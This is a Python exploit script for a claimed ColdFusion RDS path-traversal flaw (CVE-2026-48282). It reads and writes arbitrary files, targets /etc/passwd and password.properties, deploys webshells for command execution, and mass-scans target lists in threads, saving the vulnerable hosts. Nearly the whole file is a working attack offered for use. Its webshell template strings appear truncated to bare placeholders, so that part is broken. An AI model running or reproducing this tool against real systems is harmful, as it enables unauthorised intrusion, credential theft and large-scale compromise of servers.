#!/usr/bin/env python3
"""
CVE-2026-48282 - Adobe ColdFusion RDS Path Traversal Exploit
CVSS 10.0 | CWE-22 | Remote Code Execution
This exploit targets the Remote Development Service (RDS) in Adobe ColdFusion.
When RDS is enabled without authentication, the /CFIDE/main/ide.cfm endpoint
is vulnerable to path traversal, allowing arbitrary file read/write and
ultimately remote code execution.
Affected Versions:
- Adobe ColdFusion 2025 <= Update 9
- Adobe ColdFusion 2023 <= Update 20
Usage:
python cve-2026-48282.py --target https://example.com --check
python cve-2026-48282.py --target https://example.com --read /etc/passwd
python cve-2026-48282.py --target https://example.com --read C:\\Windows\\win.ini
python cve-2026-48282.py --target https://example.com --write-shell
python cve-2026-48282.py --target https://example.com --cmd "whoami"
"""
import argparse
import base64
import os
import re
import sys
import textwrap
import time
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import Optional, Tuple
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
print("[!] Missing required dependency: requests")
print(" Install with: pip install requests")
sys.exit(1)
# ─── Configuration ───────────────────────────────────────────────────────────
RDS_ENDPOINT = "/CFIDE/main/ide.cfm"
RDS_CONTENT_TYPE = "application/x-ColdFusionIDE"
RDS_USER_AGENT = "Dreamweaver-RDS-SCM1.00"
# Common webshell paths for different platforms
CF_WEBROOTS = [
# Default ColdFusion web roots
"C:\\ColdFusion2025\\cfusion\\wwwroot\\",
"C:\\ColdFusion2023\\cfusion\\wwwroot\\",
"C:\\ColdFusion2021\\cfusion\\wwwroot\\",
"C:\\ColdFusion11\\cfusion\\wwwroot\\",
"C:\\ColdFusion10\\cfusion\\wwwroot\\",
"C:\\ColdFusion9\\wwwroot\\",
"C:\\inetpub\\wwwroot\\",
"C:\\xampp\\htdocs\\",
"C:\\Apache24\\htdocs\\",
# Linux defaults
"/opt/coldfusion2025/cfusion/wwwroot/",
"/opt/coldfusion2023/cfusion/wwwroot/",
"/opt/coldfusion2021/cfusion/wwwroot/",
"/opt/coldfusion11/cfusion/wwwroot/",
"/var/www/html/",
"/var/www/",
]
# Files that confirm the vulnerability when read successfully
CANARY_FILES = {
"windows": "C:\\Windows\\win.ini",
"linux": "/etc/passwd",
}
# Path traversal escape sequences to try
TRAVERSAL_PAYLOADS = [
# Direct absolute path (may work if no sandbox)
"",
# Basic traversal
"../",
"../../",
"../../../",
"../../../../",
"../../../../../",
"../../../../../../",
# Encoded variants
"..%2f",
"%2e%2e/",
"%2e%2e%2f",
# Windows variants
"..\\",
"..\\..\\",
"..\\..\\..\\",
"..\\..\\..\\..\\",
]
# ─── RDS Protocol Helpers ────────────────────────────────────────────────────
def rds_encode(*fields: str) -> str:
"""Build an RDS protocol payload string.
Format: N:STR:LEN:VALSTR:LEN:VAL...
where N is the number of STR: segments.
"""
parts = []
for val in fields:
parts.append(f"STR:{len(val)}:{val}")
return f"{len(fields)}:{''.join(parts)}"
def rds_read_file(path: str) -> str:
"""Build RDS READ request for a file path."""
return rds_encode(path, "READ", "", "")
def rds_write_file(path: str, content: str) -> str:
"""Build RDS WRITE request for a file path with content."""
return rds_encode(path, "WRITE", "", content)
def rds_browse_dir(path: str) -> str:
"""Build RDS BrowseDir request."""
return rds_encode(path, "*", "")
def rds_check_existence(path: str) -> str:
"""Build RDS Existence check request."""
return rds_encode(path, "Existence", "", "", "")
# ─── HTTP Client ─────────────────────────────────────────────────────────────
class RDSSession:
"""Wraps HTTP communication with the ColdFusion RDS endpoint."""
# Different endpoint variants for different ColdFusion versions
ENDPOINT_VARIANTS = [
"/CFIDE/main/ide.cfm",
"/CFIDE/main/ide.cfm?ACTION=fileio",
"/CFIDE/main/ide.cfm?CFSRV=IDE&ACTION=BrowseDir_Studio",
]
def __init__(self, base_url: str, timeout: int = 15, verify: bool = False):
self.base_url = base_url.rstrip("/")
self.endpoint = f"{self.base_url}{RDS_ENDPOINT}"
self.active_endpoint = self.endpoint # Will be updated during detection
self.timeout = timeout
self.verify = verify
self.traversal_prefix = "" # Set during vulnerability detection
self.session = requests.Session()
self.session.headers.update({
"User-Agent": RDS_USER_AGENT,
"Content-Type": RDS_CONTENT_TYPE,
})
def _send(self, body: str, endpoint: str = None) -> requests.Response:
"""Send an RDS request to the specified (or active) endpoint."""
url = endpoint if endpoint else self.active_endpoint
return self.session.post(
url,
data=body,
timeout=self.timeout,
verify=self.verify,
)
def _try_all_endpoints(self, body: str):
"""Try a request against all endpoint variants, return first success."""
for variant in self.ENDPOINT_VARIANTS:
url = f"{self.base_url}{variant}"
try:
resp = self._send(body, endpoint=url)
return resp, url
except Exception:
continue
return None, None
def _parse_rds_response(self, text: str) -> str:
"""Parse RDS response format: 'N:LEN:DATA' → extract DATA.
Also handles error responses like '-1:error message'.
"""
if not text:
return ""
# Error responses
if text.startswith("-1:") or text.startswith("-100:"):
return ""
# Normal RDS response: N:... or N:LEN:DATA
if ":" in text and text[0].isdigit():
parts = text.split(":", 2)
if len(parts) >= 3:
return parts[2]
# It might be browse response: N:2:D:... format
return text
return text
def check_alive(self) -> bool:
"""Check if the RDS endpoint is reachable (not necessarily vulnerable)."""
try:
# Try all endpoint variants with a browse for root
for variant in self.ENDPOINT_VARIANTS:
url = f"{self.base_url}{variant}"
body = rds_browse_dir("/")
resp = self._send(body, endpoint=url)
if resp.status_code is not None:
return True
except requests.ConnectionError:
return False
except Exception:
return False
return False
def check_vulnerable(self) -> Tuple[bool, str, str]:
"""Test if the target is actually vulnerable by attempting
to read a canary file. Tries multiple endpoint variants
because different CF versions use different query params.
Returns (vulnerable, os_type, effective_prefix) where
os_type is 'windows' or 'linux', and effective_prefix is
the traversal prefix that worked (if any).
"""
def _check_canary(path: str, os_hint: str, prefix: str) -> Tuple[bool, str, str]:
"""Try reading a canary file against all endpoint variants."""
body = rds_read_file(path)
for variant in self.ENDPOINT_VARIANTS:
url = f"{self.base_url}{variant}"
try:
resp = self._send(body, endpoint=url)
if resp.status_code != 200:
continue
raw = resp.text
parsed = self._parse_rds_response(raw)
# Check in both raw and parsed response
check_text = raw if len(raw) > len(parsed) else parsed
if len(check_text) < 10:
continue
if os_hint == "windows":
if "[fonts]" in check_text.lower() or \
("windows" in check_text.lower() and "ini" in check_text.lower()) or \
("citect" in check_text.lower()): # Some win.ini variants
self.active_endpoint = url
return True, os_hint, prefix
else: # linux
if "root:" in check_text or \
"daemon:" in check_text or \
("bin/" in check_text and "bash" in check_text):
self.active_endpoint = url
return True, os_hint, prefix
except Exception:
continue
return False, "", ""
# Try Windows canary with all traversal variants
for prefix in TRAVERSAL_PAYLOADS:
path = prefix + CANARY_FILES["windows"].lstrip("\\")
found, os_type, eff_prefix = _check_canary(path, "windows", prefix)
if found:
return True, os_type, eff_prefix
# Try Linux canary with all traversal variants
for prefix in TRAVERSAL_PAYLOADS:
path = prefix + CANARY_FILES["linux"].lstrip("/")
found, os_type, eff_prefix = _check_canary(path, "linux", prefix)
if found:
return True, os_type, eff_prefix
return False, "", ""
def read_file(self, path: str) -> Optional[str]:
"""Read a file from the target filesystem.
Uses path traversal to escape the RDS restricted directory.
Automatically uses the endpoint variant detected during check.
"""
body = rds_read_file(path)
# Try active endpoint first, then fallback to all variants
for endpoint in [self.active_endpoint] + [f"{self.base_url}{v}" for v in self.ENDPOINT_VARIANTS]:
try:
resp = self._send(body, endpoint=endpoint)
if resp.status_code == 200 and len(resp.text) > 0:
parsed = self._parse_rds_response(resp.text)
return parsed if parsed else resp.text
except Exception:
continue
return None
def write_file(self, path: str, content: str) -> bool:
"""Write content to a file on the target filesystem."""
body = rds_write_file(path, content)
for endpoint in [self.active_endpoint] + [f"{self.base_url}{v}" for v in self.ENDPOINT_VARIANTS]:
try:
resp = self._send(body, endpoint=endpoint)
if resp.status_code == 200 and "Unable to authenticate" not in resp.text:
return True
except Exception:
continue
return False
def browse_dir(self, path: str) -> Optional[str]:
"""Browse a directory on the target.
Directory browsing requires the BrowseDir_Studio servlet,
not the fileio servlet used for read/write.
"""
body = rds_browse_dir(path)
# BrowseDir needs the BrowseDir_Studio endpoint specifically
browse_endpoints = [
f"{self.base_url}/CFIDE/main/ide.cfm?CFSRV=IDE&ACTION=BrowseDir_Studio",
f"{self.base_url}/CFIDE/main/ide.cfm?ACTION=BrowseDir",
self.active_endpoint,
]
for endpoint in browse_endpoints:
try:
resp = self._send(body, endpoint=endpoint)
if resp.status_code == 200 and len(resp.text) > 2 and \
"Unsupported file operation" not in resp.text and \
"NullPointerException" not in resp.text:
return resp.text
except Exception:
continue
return None
# ─── Exploit Logic ───────────────────────────────────────────────────────────
def find_webroot(rds: RDSSession, os_type: str) -> Optional[str]:
"""Try to locate the ColdFusion web root by probing known paths."""
print("\n[*] Searching for ColdFusion web root...")
for root in CF_WEBROOTS:
# Filter by OS type
if os_type == "windows" and not root.startswith("C:"):
continue
if os_type == "linux" and root.startswith("C:"):
continue
# Check if the directory exists by trying to browse it
result = rds.browse_dir(root)
if result is not None and len(result) > 0:
print(f" [+] Found web root: {root}")
return root
print(" [-] Could not identify web root automatically.")
return None
def generate_webshell(os_type: str, shell_name: str = "cf_utils.cfm") -> Tuple[str, str]:
"""Generate a CFML webshell.
Returns (shell_name, shell_content).
"""
# A simple CFML webshell that executes commands
webshell = textwrap.dedent("""\
#output#
#name# [#type#] #size#
#content#
""")
return shell_name, webshell
def deploy_webshell(rds: RDSSession, webroot: str, os_type: str) -> Optional[str]:
"""Deploy a webshell to the ColdFusion web root."""
shell_name, shell_content = generate_webshell(os_type)
# Ensure webroot path has trailing slash format
if os_type == "windows":
shell_path = webroot.rstrip("\\") + "\\" + shell_name
else:
shell_path = webroot.rstrip("/") + "/" + shell_name
print(f"\n[*] Deploying webshell to: {shell_path}")
if rds.write_file(shell_path, shell_content):
print(f" [+] Webshell deployed successfully!")
# Build the URL
shell_url = f"{rds.base_url}/{shell_name}"
print(f" [*] Webshell URL: {shell_url}")
print(f" [*] Command execution: {shell_url}?cmd=whoami")
print(f" [*] File read: {shell_url}?read=/etc/passwd")
return shell_url
else:
print(" [-] Webshell deployment failed.")
print(" [!] WRITE operations are blocked (RDS authentication required).")
print(" [*] This target is READ-ONLY — use --read to extract data instead.")
return None
def execute_command(rds: RDSSession, webroot: str, cmd: str, os_type: str) -> Optional[str]:
"""Execute a single command via webshell (deploys temp webshell)."""
shell_name = "cf_tmp_exec.cfm"
shell_content = textwrap.dedent(f"""\
#output#
""")
if os_type == "windows":
shell_path = webroot.rstrip("\\") + "\\" + shell_name
else:
shell_path = webroot.rstrip("/") + "/" + shell_name
shell_url = f"{rds.base_url}/{shell_name}"
if not rds.write_file(shell_path, shell_content):
print(" [-] Cannot deploy temp webshell — WRITE is blocked (RDS auth required).")
print(" [*] This target is READ-ONLY. Use --read to extract config files.")
return None
try:
resp = requests.get(shell_url, timeout=15, verify=False)
# Cleanup
rds.write_file(shell_path, " ")
if resp.status_code == 200:
return resp.text.strip()
except Exception as e:
print(f" [!] Error executing command: {e}")
# Try cleanup anyway
rds.write_file(shell_path, " ")
return None
# ─── CLI Interface ───────────────────────────────────────────────────────────
def print_banner():
print("""
┌──────────────────────────────────────────────────┐
│ CVE-2026-48282 Adobe ColdFusion RDS Exploit │
│ CVSS 10.0 | Path Traversal → RCE │
│ Affects: CF2025≤U9, CF2023≤U20 │
└──────────────────────────────────────────────────┘
""")
def run_single_target(args):
"""Run actions against a single target."""
rds = RDSSession(
base_url=args.target,
timeout=args.timeout,
verify=not args.no_verify,
)
if args.proxy:
rds.session.proxies = {"http": args.proxy, "https": args.proxy}
# Step 1: Check if RDS endpoint is alive
if not rds.check_alive():
print("[-] RDS endpoint is not reachable. The target may not have RDS enabled.")
return {"url": args.target, "vulnerable": False, "error": "rds_not_reachable"}
print("[+] RDS endpoint is reachable.")
# Step 2: Determine OS type
os_type = args.os
is_vuln = False
traversal_prefix = ""
if not os_type:
print("\n[*] Detecting OS type...")
is_vuln, os_type, traversal_prefix = rds.check_vulnerable()
rds.traversal_prefix = traversal_prefix
if is_vuln:
print(f" [+] Target appears vulnerable, OS: {os_type}")
if traversal_prefix:
print(f" [+] Effective traversal prefix: {repr(traversal_prefix)}")
else:
print(" [-] Could not confirm vulnerability via canary files.")
print(" [*] Continuing anyway (RDS may use non-standard paths)...")
result = {"url": args.target, "vulnerable": is_vuln, "os_type": os_type}
# ─── Handle actions ──────────────────────────────────────────────────
if args.check:
if is_vuln:
print(f"\n[✓] TARGET IS VULNERABLE to CVE-2026-48282")
print(f" OS Type: {os_type}")
if traversal_prefix:
print(f" Traversal Prefix: {repr(traversal_prefix)}")
print(f" The RDS endpoint allows arbitrary file read/write via path traversal.")
else:
print("\n[?] Vulnerability status unclear - RDS is reachable but automatic")
print(" detection failed. Try --read with a known file path.")
if args.read:
print(f"\n[*] Reading file: {args.read}")
content = rds.read_file(args.read)
if content:
output = content
if args.output:
with open(args.output, "w", encoding="utf-8") as f:
f.write(output)
print(f" [+] Output written to: {args.output}")
else:
print(f"\n{'─' * 60}")
print(output)
print(f"{'─' * 60}")
else:
print(" [-] Failed to read file (empty response or error).")
if args.browse:
print(f"\n[*] Browsing directory: {args.browse}")
content = rds.browse_dir(args.browse)
if content:
output = content
if args.output:
with open(args.output, "w", encoding="utf-8") as f:
f.write(output)
print(f" [+] Output written to: {args.output}")
else:
print(f"\n{'─' * 60}")
print(output)
print(f"{'─' * 60}")
else:
print(" [-] Failed to browse directory.")
webroot = args.webroot
if args.cmd:
if not os_type:
print("[-] Cannot execute commands without knowing OS type. Use --os to specify.")
sys.exit(1)
if not webroot:
webroot = find_webroot(rds, os_type)
if not webroot:
print("[-] Web root not found. Use --webroot to specify manually.")
sys.exit(1)
print(f"\n[*] Executing command: {args.cmd}")
exec_result = execute_command(rds, webroot, args.cmd, os_type)
if exec_result:
print(f"\n{'─' * 60}")
print(exec_result)
print(f"{'─' * 60}")
else:
print(" [-] Command execution failed (WRITE blocked — RDS READ-ONLY).")
print(" [*] Use --read to extract files instead. Example:")
print(f" python3 cve-2026-48282.py -t {args.target} --read \"C:\\\\ColdFusion2023\\\\cfusion\\\\lib\\\\password.properties\"")
if args.write_shell:
if not os_type:
print("[-] Cannot deploy webshell without knowing OS type. Use --os to specify.")
sys.exit(1)
if not webroot:
webroot = find_webroot(rds, os_type)
if not webroot:
print("[-] Web root not found. Use --webroot to specify manually.")
sys.exit(1)
deploy_webshell(rds, webroot, os_type)
print("\n[*] Done.")
return result
def check_target_quick(url: str, timeout: int, verify: bool, proxy: str = None) -> dict:
"""Quick vulnerability check for list mode. Returns result dict."""
result = {"url": url, "vulnerable": False, "os_type": "", "error": None}
try:
rds = RDSSession(base_url=url, timeout=timeout, verify=verify)
if proxy:
rds.session.proxies = {"http": proxy, "https": proxy}
if not rds.check_alive():
result["error"] = "rds_not_reachable"
return result
is_vuln, os_type, prefix = rds.check_vulnerable()
result["vulnerable"] = is_vuln
result["os_type"] = os_type
if not is_vuln:
result["error"] = "not_vulnerable"
except Exception as e:
result["error"] = str(e)[:80]
return result
def run_list_mode(targets_file: str, args):
"""Process a list of targets with threading for --check."""
from concurrent.futures import ThreadPoolExecutor, as_completed
targets = []
with open(targets_file, "r") as f:
for line in f:
line = line.strip()
if line and not line.startswith("#"):
if not line.startswith("http"):
line = "https://" + line
targets.append(line)
if not targets:
print("[!] No targets found in file.")
return
threads = getattr(args, 'threads', 20) or 20
print(f"[*] Targets loaded: {len(targets)}")
print(f"[*] Threads: {threads}")
print()
results = []
completed = 0
start = time.time()
with ThreadPoolExecutor(max_workers=threads) as ex:
futures = {
ex.submit(check_target_quick, t, args.timeout,
not args.no_verify, args.proxy): t
for t in targets
}
for future in as_completed(futures):
completed += 1
r = future.result()
# If --read or --browse specified, do that for vuln targets
if r["vulnerable"] and (args.read or args.browse):
try:
rds = RDSSession(base_url=r["url"], timeout=args.timeout,
verify=not args.no_verify)
if args.proxy:
rds.session.proxies = {"http": args.proxy, "https": args.proxy}
if args.read:
content = rds.read_file(args.read)
if content:
r["read_result"] = content[:500]
if args.browse:
content = rds.browse_dir(args.browse)
if content:
r["browse_result"] = content[:500]
except Exception:
pass
results.append(r)
# Status display
status = "🚨 VULN" if r["vulnerable"] else ("🔴 " + (r.get("error") or "?")[:25])
print(f" [{completed:3d}/{len(targets)}] {r['url']:50s} {status}")
elapsed = time.time() - start
vuln_count = sum(1 for r in results if r["vulnerable"])
print(f"\n{'=' * 60}")
print(f"SUMMARY")
print(f"{'=' * 60}")
print(f" Total: {len(results)}")
print(f" 🚨 Vulnerable: {vuln_count}")
print(f" Time: {elapsed:.1f}s")
print(f"{'=' * 60}")
# Save output
output_file = args.output or "vuln_targets.txt"
with open(output_file, "w") as f:
for r in results:
if r["vulnerable"]:
f.write(f"{r['url']} | OS: {r.get('os_type', '?')}")
if r.get("read_result"):
f.write(f" | READ: {r['read_result'][:100]}")
f.write("\n")
print(f"\n[*] Vulnerable targets saved to: {output_file}")
return results
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-48282: Adobe ColdFusion RDS Path Traversal Exploit",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=textwrap.dedent("""\
Examples:
%(prog)s -t https://coldfusion.example.com --check
%(prog)s -t https://coldfusion.example.com --read /etc/passwd
%(prog)s -t https://coldfusion.example.com --read "C:\\\\Windows\\\\win.ini"
%(prog)s -t https://coldfusion.example.com --write-shell
%(prog)s -t https://coldfusion.example.com --cmd "whoami"
%(prog)s -l targets.txt --check
%(prog)s -l targets.txt --check --read "C:\\\\Windows\\\\win.ini" -o vuln.txt
"""),
)
# Target specification (mutually exclusive)
target_group = parser.add_mutually_exclusive_group(required=True)
target_group.add_argument(
"-t", "--target",
help="Single target URL (e.g., https://example.com:8500)",
)
target_group.add_argument(
"-l", "--list",
metavar="FILE",
help="File containing list of targets, one per line",
)
parser.add_argument("--proxy", help="Proxy URL (e.g., http://127.0.0.1:8080)")
parser.add_argument("--timeout", type=int, default=15, help="Request timeout in seconds (default: 15)")
parser.add_argument("--threads", type=int, default=20, help="Threads for list mode (default: 20)")
# Actions
actions = parser.add_argument_group("Actions")
actions.add_argument("--check", action="store_true", help="Check if target is vulnerable to CVE-2026-48282")
actions.add_argument("--read", metavar="PATH", help="Read a file from the target filesystem")
actions.add_argument("--write-shell", action="store_true", help="Deploy a CFML webshell to the target web root")
actions.add_argument("--cmd", metavar="COMMAND", help="Execute a system command (requires --webroot or auto-detection)")
actions.add_argument("--browse", metavar="PATH", help="Browse a directory on the target filesystem")
# Options
options = parser.add_argument_group("Options")
options.add_argument("--webroot", metavar="PATH", help="Manually specify ColdFusion web root path")
options.add_argument("--os", choices=["windows", "linux"], help="Force OS type detection")
options.add_argument("-o", "--output", metavar="FILE", help="Output file for results")
options.add_argument("--no-verify", action="store_true", default=False, help="Disable SSL certificate verification")
args = parser.parse_args()
if not any([args.check, args.read, args.write_shell, args.cmd, args.browse]):
parser.print_help()
print("\n[!] Error: At least one action (--check, --read, --write-shell, --cmd, --browse) is required.")
sys.exit(1)
print_banner()
# ── List mode ──────────────────────────────────────────────────────────
if args.list:
print(f"[*] List mode: {args.list}")
run_list_mode(args.list, args)
return
# ── Single target mode ─────────────────────────────────────────────────
print(f"[*] Target: {args.target}")
print(f"[*] RDS Endpoint: {args.target.rstrip('/')}{RDS_ENDPOINT}")
run_single_target(args)
if __name__ == "__main__":
main()